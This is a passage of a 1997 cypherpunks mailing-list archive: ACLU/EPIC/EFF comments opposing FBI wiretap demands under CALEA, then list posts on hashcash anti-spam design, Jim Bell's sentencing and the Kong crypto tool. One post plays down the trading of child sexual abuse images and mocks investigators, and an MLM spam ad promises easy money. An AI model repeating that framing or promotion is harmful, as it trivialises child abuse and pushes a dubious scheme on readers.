racketeering; 3.5 percent (41) for homicide and assault and a few each for bribery, kidnapping, larceny and theft, and loan sharking. No orders were issued for "arson, explosives, and weapons" investigations. Moreover, the according to the report, electronic surveillance continued to be relatively inefficient. Overall, 2.2 million conversations were captured in 1996. A total of 1.7 million intercepted conversations were deemed not "incriminating" by prosecutors. Each interception resulted in the capture of an average of 1,969 conversations. Prosecutors reported that on average, 422 (21.4 percent) of the conversations were "incriminating." Federal intercepts were particularly efficient, with only 15.6 percent of the intercepted conversations reported as "incriminating." Notwithstanding the increase in government surveillance, in 1994, responding to FBI pressure and allegations that new technology hampers the ability to conduct electronic interceptions, the Congress enacted CALEA. The law was enacted during the final days of the 103d Congress amidst fervent opposition from the ACLU, EPIC, EFF and other concerned organizations that believed that the FBI had not substantiated the need for extraordinary government surveillance capabilities. We adhere to those views even today. Furthermore, the dramatic rise in the number of interceptions conducted rebuts the government claim that new technologies frustrate wiretapping abilities. CALEA requires telephone carriers to ensure continued government interception capabilities despite changes in technologies by October, 1998. The legislative history of CALEA makes clear that the Act was intended "to balance three key policies: (1) to preserve a narrowly focused capability for law enforcement agencies to carry out properly authorized intercepts; (2) to protect privacy in the face of increasingly powerful and personally revealing technologies; and (3) to avoid impeding the development of new communications services and technologies." To maintain that balance, Congress established detailed guidelines on how industry standard setting organizations would accomplish the costly mandate of CALEA and imposed several obligations on law enforcement to facilitate the process as well. Section 107 of CALEA, in pertinent part, provides that an industry association or a standards-setting organization will set the technical standards; the Attorney General must consult with the standards-setting organizations, with representatives of users of telecommunications equipment, facilities, and services, and with State utility commissions, "to ensure the efficient and industry-wide implementation of the assistance capability requirements." Section 107 further provides that if technical requirements are not issued by industry standards-setting organization or if any person believes any standards issued are deficient, the Federal Communications Commission may establish such requirements or standards. The Commission has promulgated the current NPRM in response to an impasse in the implementation process and the failure of law enforcement to effectively cooperate and fulfill its statutory obligation in providing detailed notice of its technical capacity requirements so that industry can promulgate technical standards. Section 50 of the NPRM states that this proceeding is being undertaken irrespective of the actual industry standard requirements to determine whether it is "reasonably achievable" to enact CALEA within its compliance period. The NPRM section 50 specifically states: Because it is not clear whether requests for extension of time of the Section 103 compliance date will be forthcoming, we do not propose to promulgate specific rules regarding requests at this time. We propose to permit carriers to petition the Commission for an extension of time under Section 107, on the basis of the criteria specified in Section 109 to determine whether it is reasonably achievable for the petitioning carrier "with respect to any equipment, facility, or service installed or deployed after January 1, 1995" to comply with the assistance capability requirements of Section 103 within the compliance time period. We seek comment on that proposal. We also seek comment on what factors, other than those specified in Section 109 of CALEA, the Commission should consider in determining whether CALEA's assistance capability requirements are reasonably achievable within the compliance period. The NPRM, section 45, sets out several statutory factors that the Commission may consider in determining whether CALEA's capability requirements are reasonably achievable within the compliance period. The legislative history of CALEA makes clear that the factors provided by Congress were "designed to give the Commission direction so that the following goals are realized: (1) Costs to consumers are kept low, so that 'gold-plating' by the industry is kept in check; (2) the legitimate needs of law enforcement are met, but that law enforcement does not engage in gold-plating of its demands; (3) privacy interests of all Americans are protected; (4) the goal of encouraged competition in all forms of telecommunications is not undermined, and the fact of wiretap compliance is not used as either a sword or a shield in realization of that goal." Our comments address these and other factors in concluding that the FCC should extend the compliance deadlines as permitted by Congress. I. CALEA's Capacity Notice Requirements: Section 104 of CALEA directed the Attorney General to issue a notice of capacity requirement to industry not later than one year after the law's enactment. Hence the deadline for the notice was October 25, 1995. Carriers were provided with a deadline of three years after notification by the Attorney General to install capacity that meets the notification requirements. Under the timetable that Congress proposed, industry's deadline would have been October 1998. Specifically, section 104(a)(2) requires the Attorney General to identify capacity required at specific locations, and to base the notice on the type of equipment or service involved, or by the type of carrier. In addition, it requires the Attorney General to provide a numerical estimate of law enforcement's anticipated use of electronic surveillance for 1998. The statute also defines the maximum capacity as the largest number of intercepts that a particular switch or system must be capable of implementing simultaneously. The initial capacity relates to the number of intercepts the government will need to make on the date that is four years after enactment. By mandating the publication of numerical estimates of law enforcement surveillance activity, Congress intended CALEA's notice requirements to serve as "mechanisms that will allow for Congressional and public oversight. The bill requires the government to estimate its capacity needs and publish them in the Federal Register." Congress made it clear that "[t]he purpose behind the provision is... to ensure that carriers receive adequate and specific notice from the Attorney General about the needs of law enforcement...". a. The First FBI Notice In October, 1995, the FBI, operating under delegated authority by the Attorney General, issued a first proposed capacity notice. The Notice was criticized for; (1) failing to comply with the notification and public accountability provisions mandated in CALEA; and (2) failing to substantiate the proposed capacity requirements with adequate documentation. Ultimately, it was withdrawn by the Bureau for these reasons. The FBI's Federal Register notice failed to identify the "actual number of communications interceptions" that the Bureau estimates will be needed by the end of 1998. Instead, the capacity requirements were "presented as a percentage of the engineered capacity of the equipment, facilities, and services that provide a customer or subscriber with the ability to originate, terminate, or direct communications." 60 Fed. Reg. 53643. Furthermore, in EPIC's comments on the initial FBI notice, they stated: "[t]he Bureau's "percentage" approach to capacity requirements allows neither telecommunications carriers nor the public to 'know the required level of capacity.'" The percentages contained in the Federal Register notice (e.g., maximum capacity of one percent of "engineered capacity" for geographic areas falling within Category I) also engendered a great deal of public confusion concerning the Bureau's proposed requirements and their impact on the privacy of personal communications. The confusion became readily apparent after an article appearing on the front page of November 2, 1995, New York Times interpreted the Bureau's notice as requiring "the capacity to monitor simultaneously as many as one out of every 100 phone lines." Asked about the issue at a press briefing later that day, Deputy Attorney General Jamie S. Gorelick said "there appears to be some misunderstanding or miscommunication as to the implications of what is contained in [the Federal Register] notice." In a letter to House Judiciary Committee Chairman Henry Hyde, Director Freeh asserted that, "We have not and are not asking for the ability to monitor one out of every 100 telephone lines or any other ridiculous number like that. ... Information supplied by the FBI was simply applied in a manner not intended to reach erroneous conclusions." b. The Second FBI Notice The FBI offered a revised NPRM in January, 1997, but has yet to publish rules as a result of the proceeding. The second NPRM was also rejected by industry and privacy groups alike for requiring greater capacity for interceptions by carriers than actually required today. The second FBI notice called for substantial increases in surveillance of both landline and wireless communications over the next ten years, with a total maximum capacity of 57,749 simultaneous intercepts to be conducted in the United States. Calculating out the percentages provided by the FBI, by 1998 the FBI anticipates an increase of 33 percent of landline interceptions and 70 percent of wireless phones. By 2004, the Bureau estimates a total increase of 74 percent in interceptions of landline phones and 277 percent in wireless phones. The second notice also implied that every carrier serving a particular region would have to install capacity sufficient to meet the total surveillance needs for that area, even if the carrier only served a portion of the customers in the area. Such a plan would not only be cost prohibitive, but would provide for unauthorized and unnecessary capabilities. Moreover, the second notice failed to make any distinction between the interception of call content and call-identifying information, even though this too was expressly required by Congress. From both constitutional law and privacy perspectives, this distinction is critical since the interception of call content is inherently more intrusive than the interception of call-identifying information. Any number of innocent individuals, conveying private information could be subject to unwarranted invasions by allowing call content information without court authorization. It is for this reason that CALEA limits the type of information that may be intercepted under pen register and trap and trace authority. c. Law Enforcement is Actually Seeking Enhanced Surveillance Capabilities It is now three years since the CALEA's enactment and to date the government has not promulgated final rules. The Bureau's refusal to provide the actual capacity requirements in its Federal Register notice denies any possibility of meaningful public oversight. Recently, the FBI has stated that it intends to promulgate a final notice January, 1998. Even if final regulations are promulgated at this late date, it will be impossible for industry to adopt technical standards accordingly under the current deadline of October 25, 1998. If the Congressional mandate for "public oversight" of the FBI's implementation of CALEA is to be realized, it is incumbent upon the Bureau to make available additional information concerning its proposed capacity requirements and then for the Commission to require sufficient time for public review. Underscoring this point, on October 23, 1997, several representatives from the telecommunications industry testified before the Subcommittee on Crime of the Committee on the Judiciary of the House of Representatives on the implementation of CALEA. The consensus of each of the industry speakers was that the Bureau's failure to provide rules in a timely fashion has prevented CALEA's implementation. Roy Neel, President and CEO of the United States Telephone Association stated, "[t]he FBI's delay in announcing its final capacity notice has been a significant obstacle for industry standard setting organizations. Throughout 1995 and early 1996, industry participants often postponed resolving certain issues pending the release of the capacity regulations and the equally anticipated Electronic Surveillance Interface." Furthermore, it has become clear that the actual requirements that the FBI seeks go well beyond that authorized under CALEA. As we discuss below, we believe that the standards and the petitions submitted by industry and CDT/EFF make clear that the FBI has asked for capabilities not provided for by CALEA. The expanded capabilities sought by the FBI, along with their non-compliance with CALEA's capacity notice requirements warrant a Commission order delaying implementation. Additionally, since this NPRM does not address the actual technical standards being considered for industry adoption, the Commission must extend the deadline for compliance pending public review. It is entirely possible that industry and the FBI may achieve a compromise on the standards, but even if industry is strong-armed by the FBI into complying with their requests, we intend to petition the FCC to engage in through review of the issues not included in this proceeding. II. Law Enforcement Has Prevented Industry Adoption of Authorized Standards By "Gold Plating" its Stated Needs Congress expressly denied law enforcement agencies the authority to dictate the design of telecommunications networks under CALEA by conferring this authority to industry associations. Industry has proposed several standards proposals which may be adopted in the near future. However, industry organizations have publicly acknowledged that law enforcement agencies have played an extensive role in the process and have thwarted the opportunity to adopt reasonable standards. Realizing that industry could not promulgate standards in light of the FBI resistance, on July 16, Cellular Telecommunications Industry Association petitioned the FCC to assume the authority over standards adoption. The petition indicates, the organizations were compelled to adopt FBI requests. More recently, in hearings on the implementation of CALEA before the House Judiciary Subcommittee on Crime, October 23, industry groups explained how the FBI has prevented adoption of reasonable standards. Many members of the Committee were critical of both the Act and the FBI. Rep. Bob Barr (R-GA), who chaired part of the hearing, bluntly stated that the legislation would not have passed in the Republican 104th or 105th Congresses. A major area of contention was the FBI's demand for added features not required by the 1994 law. These include an enhanced ability to track geographical locations of cell phones, the ability to monitor conference calls when the targeted party has left, and the ability to separate out content from signaling data of packet-based communications. The FBI's efforts to lobby against the industry designed standards during a vote on the specifications also came under fire. The Bureau organized a campaign to vote down the industry-developed standards, which was described in the hearing as "ballot stuffing." Twenty-eight police agencies filed the same 74-page ballot comments, including a sheriff in Florida who included the FBI's letter requesting that he file the comments. CTIA's Wheeler described the FBI's actions as "rolling a hand grenade under the table." Another controversial issue was the FBI's effort, during its negotiations with the Telecommunications Industry Association (TIA) over the wiretap standard, to petition the American National Standards Institute (ANSI) to revoke the standards-settings authority of TIA after 50 years. The FBI apparently withdrew the request after several months. Jay Kitchen, President of the Personal Communications Industry Association explained that the impasse in the CALEA process was due in large part to FBI interference. He stated: "Unfortunately, a breakdown of monumental proportions has occurred. As of today, final standards have not been set, in large measure due to the actions of law enforcement officials. Initially, the FBI waited almost one and one-half years after the enactment of CALEA to submit its recommendations to standards setting bodies. After the submission of this list, industry representatives and the FBI were able to reach consensus on standards that provided, by PCIA's estimates, 90 percent of the capabilities that the FBI had requested. Since then, however, the FBI has held up the entire standards setting process in order to ensure that every capability on its "wish list" is made part of the standards." Similarly, Matthew J. Flanagan, President of the Telecommunications Industry Association, stated that industry concessions to FBI demands have been rejected by law enforcement and they have been pressured to concede even more: "During these meetings, industry made several concessions to law enforcement, agreeing to include features in the standard that many in industry were convinced were not required under CALEA. For example, law enforcement requested that it be provided with continuous information about the location of an intercept subject's cellular phone, irrespective of whether the phone was being used or not. Industry refused to provide this feature, finding that it greatly exceeded what CALEA permitted. In a compromise, however, industry agreed to provide law enforcement with the location of a cell phone at the beginning and end of each call -- even though many industry participants felt that even this compromise exceeded the scope of CALEA." As a result of all of the concessions, the proposed industry standard goes well beyond a fair reading of CALEA and incorporates several of the additional features and capabilities requested by law enforcement prior to CALEA's passage but which were rejected by the Congress. III Congressional Limitations on Information Subject to Interception Have Been Disregarded Congress stated that CALEA was meant to preserve and not expand government surveillance capabilities. To guarantee that surveillance is not expanded, CALEA requires telecommunications carriers to protect user privacy and security of information they are not authorized to intercept. Section 103 of CALEA, Assistance Capability Requirements, specifically imposes four industry requirements to protect privacy while assisting with law enforcement interceptions. Carriers are required to ensure that their systems are capable of: (1) expeditiously isolating and enabling the government, pursuant to a court order or other lawful authorization, to intercept, to the exclusion of any other communications, all wire and electronic communications carried by the carrier within a service area...; (2) expeditiously isolating and enabling the government, pursuant to a court order or other lawful authorization, to access call-identifying information that is reasonably available to the carrier-- (A) before, during, or immediately after the transmission of a wire or electronic communication...; and (B) in a manner that allows it to be associated with the communication to which it pertains, except that, with regard to information acquired solely pursuant to the authority for pen registers and trap and trace devices (as defined in section 3127 of title 18, United States Code), such call-identifying information shall not include any information that may disclose the physical location of the subscriber (except to the extent that the location may be determined from the telephone number); (3) delivering intercepted communications and call-identifying information to the government, pursuant to a court order or other lawful authorization, in a format such that they may be transmitted by means of equipment, facilities, or services procured by the government to a location other than the premises of the carrier; and (4) facilitating authorized communications interceptions and access to call-identifying information unobtrusively and with a minimum of interference with any subscriber's telecommunications service and in a manner that protects-- (A) the privacy and security of communications and call-identifying information not authorized to be intercepted; and (B) information regarding the government's interception of communications and access to call-identifying information. (emphasis added) This section makes clear that Congress specifically limited the type of information that could be permissibly provided by industry to the FBI under CALEA by distinguishing between call content and call identifying information. Thus, we disagree with assumptions made in the NPRM that broaden the scope of communications information that may be intercepted. Section 20 states: "We tentatively conclude that providers of exclusively information services, such as electronic mail providers and on-line services providers, are excluded from CALEA's requirements and are therefore not required to modify or design their systems to comply with CALEA....[W]e seek comment on the applicability of CALEA's requirements to information services provided by common carriers. We also note, however, that Congress anticipated that calling features such as call forwarding, call waiting, three-way calling, speed dialing, and the "call redirection portion of voice mail" would be subject to CALEA's requirements. We tentatively conclude that calling features associated with telephone service are classified as telecommunications services for the purposes of CALEA, and carriers offering these services are therefore required to make all necessary network modifications to comply with CALEA." (emphasis added) Congress explicitly rejected any application of CALEA to information services including electronic mail and on-line services recognizing that interception of those communications is the equivalent of "call content" and is therefore, subject to a much higher degree of protection under the Constitution. The NPRM, however, incorrectly assumes there is a distinction between carriers that exclusively provide information services and common carriers that provide information services. There is absolutely no basis for such a distinction under CALEA. Congress did not exclude such services based on the carrier offering the services, but on the nature of the services and a recognition that content of communications has always been accorded greater protections. Furthermore, the tentative conclusion that calling features associated with telephone services are subject to CALEA as "call identifying" information is incorrect. CALEA restricts recording or decoding of electronic impulses to dialing and signaling information that relates to call processing only. Congress explicitly rejected the inclusion of "other dialing tones that may be generated by the sender that are used to signal customer premises equipment of the recipient are not to be treated as call-identifying information." Thus, the addition of these features is an expansion of current surveillance abilities and not permitted. Not addressed in the NPRM are nearly a half-dozen other features that Bureau contends are "call identifying" features and thus subject to CALEA. As the Response Comments on the Petition for Rulemaking of the Center for Democracy and Technology and the Electronic Frontier Foundation, August 11, 1997, correctly point out, the FBI has sought the addition of the following features not considered by Congress: (1) packet switching information (2) wireless telephone call location information (3) packet data content delivery information (4) multi-party monitoring information (5) an expanded definition of call identifying information (6) pen register information (7) feature status messages Instead of addressing these threats to privacy, Section B of the NPRM frames the discussion of privacy protection in solely in terms of the type of record keeping procedures to be used by telecommunications carriers that conduct interceptions on behalf of law enforcement. However, Congress made clear that protecting the privacy of innocent individuals from surreptitious surveillance was of paramount importance and charged the Commission with the task of seeing to the necessary safeguards. The additional surveillance features sought by the FBI contravene Congress' intention that the law would maintain current levels of surveillance and not expand them. These issues must be addressed by the Commission before the implementation of CALEA can be accomplished and before record keeping and industry security procedures are determined. Conclusion Before rushing to embrace any proposals to enlarge the capability of government surveillance of its citizens, the ACLU and EPIC urge the Commission to take note of words written nearly 70 years ago -- that remain true even today. As Justice Louis Brandeis so aptly stated in Olmstead v. United States, 277 U.S. 438 (1928): The evil incident to invasion of the privacy of the telephone is far greater than that involved in tampering with the mails. Whenever a telephone line is tapped, the privacy of the persons at both ends of the line is invaded, and all conversations between them upon any subject, and although proper, confidential, and privileged, may be overheard. Moreover, the tapping of man's telephone line involves the tapping of the telephone of every other person whom he may call, or who may call him. As a means of espionage, writs of assistance and general warrants are but puny instruments of tyranny and oppression when compared with wiretapping. The expanded capabilities sought by the FBI, along with their non-compliance with CALEA's capacity notice requirements warrant serious Commission response. Congress envisioned the implementation process as an open process to ensure that law enforcement did not surreptitiously gain unprecedented surveillance capabilities. Thus, before the adoption of industry standards, there must be careful scrutinization of law enforcement's capability requirements. We believe the only way to accomplish this task is for the Commission to extend the compliance deadline to October 24, 2000 under the authority provided by the Congress. Respectfully Submitted, Barry Steinhardt, Associate Director A. Cassidy Sehgal, William J. Brennan Fellow American Civil Liberties Union 125 Broad Street, 18th Floor New York, N.Y. 10004 (212) 549-2500 Electronic Privacy Information Center 666 Pennsylvania Ave., SE, Suite 301 Washington, D.C. 20003 (202) 544-9240 Electronic Frontier Foundation 1550 Bryant Street, Suite 725 San Francisco CA 94103-4832 USA (415) 436-9333 From aba at dcs.ex.ac.uk Fri Dec 12 17:10:05 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Sat, 13 Dec 1997 09:10:05 +0800 Subject: hashcash spam prevention & firewalls Message-ID: <199712130059.AAA06343@server.eternity.org> I am looking at writing some hashcash (http://www.dcs.ex.ac.uk/~aba/hashcash/) based spam prevention software. The motivation for writing spam prevention software is that spam is better combatted with technical methods than legal or political (we do not want clueless politicians coming in ham-fisted and requiring "Internet Drivers Licenses" or anti-spam legislation or anything else, such actions will be hazardous for the future of remailers, in my opinion). (Hashcash is a way of proving that the sender has consumed a tunable amount of CPU time. The verification process consumes negligible CPU time. This allows us to require the would be spammer to spend say 20 seconds per mail, which will slow him down considerably, over his current tactics of 1000 long Bcc lists allowing him to hand off spamming tasks to mail servers.) So what we want is a filter to bounce messages without the required hashcash postage, we ideally want this to happen at the ISP or organisational SMTP server end, rather than at the recipients end, because a) it is simpler for 1 service provider to install software than 100,000 neophytes, and b) it reduces bandwidth consumption on dial up users pay per second lines as the spam is killed before they see it. The Right Way to do it perhaps is as an SMTP extension, however I consider this impractical in the short term because as far as I know there is no SMTP extension plug-in mechanism (other than access to the source code, and lots of development time) and because there are a large number of mail servers in use, and it will be expensive in developer (that's me) time to provide patches for them all (exarcebated by the fact that in many cases source will not be available). So these problems leave us scratching around for other more generic approaches. One method is to create a proxy which receives mail on port 25 (as the SMTP server normally does) filters examining for correct hashcash postage, and bounces if the postage is missing, and forwards the mail on to the real SMTP server if the hashcash postage is valid. The real SMTP server would then be set to run on another port... say port 26 which is reserved, and have the mail forwarded to it at that port. (You would want to disable non-local access to port 26 either at firewall or with SMTP server configuration if that is possible). Alternatively run the real SMTP server on another machine inside the local network. A few problems with this approach, firstly it may not be possible to configure some SMTP server software to run at ports other than 25. (I know you can do it with sendmail: OOPort=26 does it.) (If this is not possible with a given SMTP server you can still run a proxy by running the real SMTP server on another machine inside the network). Secondly the proxy approach prevents some of the SMTP server functions from operating properly because the process on the other end of the socket is our hashcash proxy on localhost rather than the remote mail hub (modern sendmails can be configured to perform reverse name lookups on IP addresses, call ident (ident sucks anyway IMO), or block based on IP address or domain, etc.) Is this kind of thing likely to be a big problem? Another approach is to try to hook in a hashcash SMTP proxy filter at the firewall. I am not that familiar with firewalls. Anyone have thoughts on the sorts of filtering you could install at the firewall level, and how portable this would be based on installed base of types of firewall? (ie It is not interesting if you can do nifty proxy functions with foobar firewall software if it is used by <1% of sites, and the function is impossible with other firewall software). The required filter functionality is something like this in order of desirability: Accept the SMTP session. Use an EHLO extension HASHCASH to say that this server expects hashcash. (Extended HELO is a method of specifying SMTP extensions (I think)). Accept the headers, and if a valid hashcash postage is not included, hand off to the real mailserver a site configurable bounce message. If the postage is valid, replay the headers to the real SMTP server (with IP masquerading so that the IP address appears to be coming from the originator, so that the SMTP server will not get upset about reverse DNS look up mismatches etc). Then act as a dumb proxy for the rest of the connection passing data through to the normal hashcash server. This still leaves open the question of the user generating their own hashcash postage. Again this could be problematic for neophytes. One solution is to include a URL for a web page including a javascript hashcash generator -- this means that no new software must be installed, the user cut and pastes the generated hashcash into their message. However things would be a whole lot simpler short term if the mail originators ISP created the hashcash for him at the ISPs SMTP hub where the user hands off his mail for further delivery. The main problem with this is that the SMTP mail hub would be overloaded by the CPU intensive task of generating hashcash. There are a few techniques to reduce the overhead of preventing spam with hashcash. One is to require valid hashcash only on the first message to a given address. (Spammers being hit and run types, and even having to generate hashcash for each spamee once would be expensive for a spam list of 10 million unwilling spam recipients). Better, is to require valid hashcash on all mail, _until_ the recipient replies to a mail. This is good because people rarely reply to spammers. Ordinary users who chit-chat backwards and forwards in mail generate little added overhead for the hand off SMTP server -- the only overhead being to generate say 5 seconds CPU worth of hashcash for each new recipient the user sends to. Then you add some hashcash accounting so that users who overspend (consuming more than say 1 minutes CPU consumption on the server in a 24 hour period have their email bounced with explanation of how to generate their own hashcash as a heavy user). Figures would need tuning to see how they worked out in practice, however it seems that it would be feasible to handle the whole operation entirely at the sending and receiving SMTP servers. Comments? Adam -- Now officially an EAR violation... Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/ print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: On Fri, 12 Dec 1997, Trei, Peter wrote: > It would be nice if the January meeting were held the 17th. This is the > day following > the RSA Data Security Conference, and a lot of out-of-towners will be in > the > area over that weekend. I like that idea. Comments? -- Lucky Green PGP encrypted mail preferred From emc at wire.insync.net Fri Dec 12 18:08:59 1997 From: emc at wire.insync.net (Eric Cordian) Date: Sat, 13 Dec 1997 10:08:59 +0800 Subject: Could a Jim Bell do the same thing? In-Reply-To: Message-ID: <199712130202.UAA05406@wire.insync.net> A new.com article posted by Declan says: > Sometimes, Daufenbach notes, a freshly arrested child > pornographer facing a long sentence will agree to > let his email account "hum" (continue running), with > Customs picking up the traffic. Of course most people exchanging such pictures via email are no more child pornographers than people who read "Penthouse" are photographers of women. Again, law enforcement manages to build its agenda into the vocabulary given to the Sheeple to express their views. > A year ago, > Daufenbach assumed the identity behind one such > account. A molester and child pornographer > (Daufenbach declined to reveal the person's name) > began emailing Daufenbach's undercover account and > then switched to real-time online chat, one of the > biggest challenges for any cyberinvestigator. "A lot > of people don't like doing it," says the Customs > agent. "You have to think on your feet." This is one good reason most bright people who publicly point and laugh at the government's molester and porn festivities go out of their way not to engage in communication with children, or private communication with individuals claiming to share their views. I prefer to express mine on Usenet, where what I have said is a matter of public record, and can't be spun by wannabe entrappers for their own ends. And aren't these cops pathetic? I mean, you're sitting on the Net, and someone who has targeted you because you made fun of the child porn kooks gets you on IRC and begs you to "call his modem direct, because he's 14, his parents aren't home, and he has special pictures to send you." I mean, what do these doughnut-munching lard-assed buffoons tell their children they do for a living? "Yes, Jimmy, Daddy pretends to be a child on the Internet and offers other grownups pictures of his genitalia." Gosh - I bet that makes the kid want to invite Dad to school for career day. > Molesters often talk graphically about the children > they abuse--and expect the same from their > confidants. Kind of like the people in alt.parenting.spanking. > "If you get nervous and flustered," > notes Daufenbach, "you'll blow it." And since jackbooted thug Daufenbach will never get a chance to "blow it" in real life, he has to engage in the substitution therapy of finding others who might "blow it." After all, this is a highly moral society in which "it" must never be "blown", particularly if "it" is attached something that is not legally a person in the eyes of the Constitution. BTW - it's the 12th of December. Wasn't this supposed to be D-day for James Dalton Bell? -- Eric Michael Cordian 0+ O:.T:.O:. Mathematical Munitions Division "Do What Thou Wilt Shall Be The Whole Of The Law" From freebizz at simplyads.com Sat Dec 13 10:31:53 1997 From: freebizz at simplyads.com (freebizz at simplyads.com) Date: Sat, 13 Dec 1997 10:31:53 -0800 (PST) Subject: MEGA RESOURCE Makes MONEY Message-ID: <199712131507.KAA03505@loki.silkspin.com> Fellow Netizen: MEGA RESOURCE is NOT an MLM company. It isn't even a company. It is the FIRST software program that allows you to make money through an unlimited amount of levels with optional "MONTHLY" residual programs built right in. DOWNLOAD NOW-FREE! http://www.simplyads.com/mg/freebizz.htm SIZZLE CALL 800-228-1628 INFO LINE 888-698-0882 YOUR DOWNLINE PAYS YOU DIRECTLY FROM ANYWHERE IN THE WORLD! UNLIMTED LEVELS! You will get GREATER advertisements, create leads for you and your downline, and get CA$H to boot from all over the world. Download a *FREE* copy of the MEGA RESOURCE software today and see for yourself. IT IS FREE TO LOOK AT, so TAKE A LOOK! There is a built in calculator so you can play with the numbers and make some speculation based on what YOU think your abilities are. If you cannot download-let us know, and we can E-MAIL your software! FreeBIZZ Mega Resource Licensing Agent http://www.simplyads.com/mg/freebizz.htm ======================================== This is an advertisement. To be removed from future mailings from our Company...Click Here!!! mailto:freebizz at simplyads.com?subject=REMOVE Thank You, and have a pleasant day. ======================================= From tcmay at got.net Fri Dec 12 18:44:23 1997 From: tcmay at got.net (Tim May) Date: Sat, 13 Dec 1997 10:44:23 +0800 Subject: Jim Bell's Sentencing? In-Reply-To: <1.5.4.32.19971122031642.006ac71c@pop.pipeline.com> Message-ID: At 8:16 PM -0700 11/21/97, John Young wrote: >Jim Bell was scheduled to be sentenced today at 9:30 AM. >I called the court's ever-helpful administrative office >(1-253-593-6754) for a report and was told that sentencing >had been postponed until December 12, 10:30AM. And so today is December 12th. Has anybody heard anything? Or have the criminals who run the legal system delayed his sentencing yet again? --Tim May The Feds have shown their hand: they want a ban on domestic cryptography ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^2,976,221 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From bill.stewart at pobox.com Fri Dec 12 19:20:55 1997 From: bill.stewart at pobox.com (Bill Stewart) Date: Sat, 13 Dec 1997 11:20:55 +0800 Subject: Kong Re: Please Beta test my communications cryptography product. In-Reply-To: <199712050100.RAA04735@proxy4.ba.best.com> Message-ID: <3.0.3.32.19971212190603.0076b324@popd.ix.netcom.com> >At 5:00 PM -0800 12/4/97, James A. Donald wrote: >>I have produced a program that, like PGP, provides digital >>signatures and communications encryption. >> http://www.jim.com/jamesd/Kong/Kong.htm >>This is the first beta. Please beta test this product. The web page says that the first beta had some problems, but there are some good files in its directory, in particular an explanation of elliptic curves cryptography that avoids most of the math. The code that's there appears to be visual basic or something similarly unreadable. Kong is deliberately far simpler than PGP; it looks like it's limited to the following: - Signed Message: Delimiter, Message Body, ECC Public Key, ECC Sig. I didn't notice what hash was used for the signatures -- SHA? - Encrypted Message: ECC(SessionKey), RC4(Message Body, SessionKey). I'm not sure if there are headers that include the recipient's key, or if there's any special form for an encrypted-and-signed message. I assume there's no multiple-recipient form? - there's also symmetric-encrypted form. - Decrypt Message - Compare signatures from two messages It turns out you can replicate many of the functions of PGP using this set of tools. And ECC keys are nice and short, so there's less need for keyservers and such. - Instead of a keyring, keep a directory of signed messages from people - To send someone your key, send them a signed message, preferable one that will mean something that tells them it's you. - To verify a signature on a new message, compare the signature with one on your key message. - To "sign" someone's key, take a message from them, add some introductory message of your own, and then sign it: -- Alice gave me this message at the Cypherpunks Against Nukes rally. I've known her for a couple of years, and I doubt she's a narc. Remember to remove the >s before checking it. > -- > Hi! I'm Alice Liddell, from the Vegetable Legalization Front! > You can catch my show on VLF Radio on Thursday nights, > or send email to askme at juno.com. > -- digsig Alice > 239084509834098f9a8900cb989989909890 > 2jcxjsdopicjospijfijvoisdjfvoisdjfvoijfdsvoij > i09809cv8qf234u0r9duw90cfdwre90f8cw8c900w8f900 -- Digsig Bob Dobbs 230deadbeef809890slackslackslack0y97 090hlkh345345kjhlk34h5jh5lk34h5kl3h5 jh5lkj34h543kjh5kj34h5k3l4j5lj3k4h5h Some technical notes about format: 1) Are the Signer's Name and the ECC key included in the material that's hashed for signature? Doing that is valuable, but depending on it makes it more difficult if people change addresses. 2) It would be nice if the starting and ending delimiters were different. This would let you nest messages without needing >s. Can Kong tell a nested opening -- from a closing --digsig ? Are --s escaped, or at least --digsig? 3) How are newlines and whitespace in the message body handled for signatures? Canonicalized? Ignored? Not worried about? This affects not only reliability of signatures after emailing, but also affects signing binary files. 4) I'd guess, since you're using 240-bit ECC and base-64 encoding, that the first 40 characters of garble in the signature are the key, and the remaining 80 characters are the signature itself? If so, is there some easy way to use the 40-char string, e.g. type in a copy from the bottom of a business card? Or are signed messages the only way to do verification? On the other hand, it's rather pleasant that the normal way to distribute keys proves that the sender possesses the key. Some of the documentation says something about the key being derived from your passphrase and a randomness file hashed together. How does this affect multiple keys generated by the same user? I assume it means you can't share passphrases between keys. 5) Is the format of the signature freeform, or do the newlines and whitespace have to be in their official locations? If the latter, what flavor of newline do you use? CRLF? LF? CR? LFCR? >Key revocation remains a problem, as with any PK system. The key holder >essentially starts over associating reputation capital with the new key. Since signed freeform ascii messages from other people can be key certs, you're not limited to rebuilding reputation capital from scratch. On the other hand, since certs aren't an automated process, revocation is tougher than usual to automate as well. There are three usual reasons for revocation: 1) You've lost all copies of your key (disk crashed, no backups, or you just forgot your passphrase.) So keep backups. The keys are short enough that it would be nice if you could type in your secret key from paper, but that may depend on the randomness file implementation. And you can get notes from your friends stating that you're the same person they vouched for before. 2) Someone else found one of your key backup copies. It's easy to send out mail signed by your old key saying "Someone stole my old key. Don't trust it! Here's my new key". The hard parts are getting people not to trust new messages signed by your old key, since key handling isn't automated, and getting them to trust the new key you're handing out (since it could be the key-thief sending out the new key.) Signatures by your friends on your new key can help. 3) Expiring keys every so often to reduce the risk of 2). Assuming the name format in signatures is freeform, you can indicate key expiration in the signature line... Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From jya at pipeline.com Fri Dec 12 19:42:18 1997 From: jya at pipeline.com (John Young) Date: Sat, 13 Dec 1997 11:42:18 +0800 Subject: Jim Bell's Sentencing? Message-ID: <1.5.4.32.19971213033005.006bdc58@pop.pipeline.com> No news here about Jim Bell's scheduled sentencing today. Oddly, there have been no entries in the publically accessible electronic version of the court docket since October 24, including nothing about the November 21 delay in sentencing which we confirmed from another reporting service in Tacoma. Someone's going to check with the court clerk on Monday. Anyone in the NW see anything in the papers? From jya at pipeline.com Fri Dec 12 19:53:14 1997 From: jya at pipeline.com (John Young) Date: Sat, 13 Dec 1997 11:53:14 +0800 Subject: Jim Bell Sentenced: AP Report Message-ID: 